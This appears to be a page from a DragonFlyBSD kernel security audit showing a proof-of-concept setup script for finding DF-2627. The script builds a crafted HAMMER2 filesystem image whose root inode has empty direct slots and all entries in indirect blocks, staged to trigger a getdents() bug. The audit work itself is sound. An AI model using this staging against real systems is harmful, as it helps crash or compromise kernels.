DragonFlyBSD Kernel Audit
DF-2627 / mkbase2627.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-2627: build the base image (guest, root).
# PFS "testvol" with 12 sacrificial files (fill the inode's direct blockref
# slots) + 40 payload files (spill into INDIRECT blocks).  The sacrificial
# files are then removed, so after sync+umount the PFS root inode's blockset
# direct slots are EMPTY and every live directory entry lives under an
# INDIRECT block -- a getdents() starting at offset 0 reaches the indirect
# on the FIRST xop collect.
set -e
vnconfig -u vn0 2>/dev/null || true
mkdir -p /root/poc/df2627 /mnt/h2x
cd /root/poc/df2627
rm -f base2627.img
truncate -s 64M base2627.img
newfs_hammer2 -L testvol base2627.img >/dev/null
vnconfig -c vn0 /root/poc/df2627/base2627.img
mkdir -p /mnt/h2x
mount -t hammer2 /dev/vn0@testvol /mnt/h2x

# sacrificial files first (occupy the direct slots of the PFS root blockset)
i=0
while [ $i -lt 12 ]; do
	printf "sacrificial" > /mnt/h2x/s$i
	i=$((i+1))
done
# payload files (spill into indirect blocks)
i=0
while [ $i -lt 40 ]; do
	printf "payload-%02d" $i > /mnt/h2x/p$i
	i=$((i+1))
done
sync
# remove the sacrificial files -> direct slots become EMPTY after flush
i=0
while [ $i -lt 12 ]; do
	rm /mnt/h2x/s$i
	i=$((i+1))
done
sync
umount /mnt/h2x
vnconfig -u vn0
echo BASE2627_OK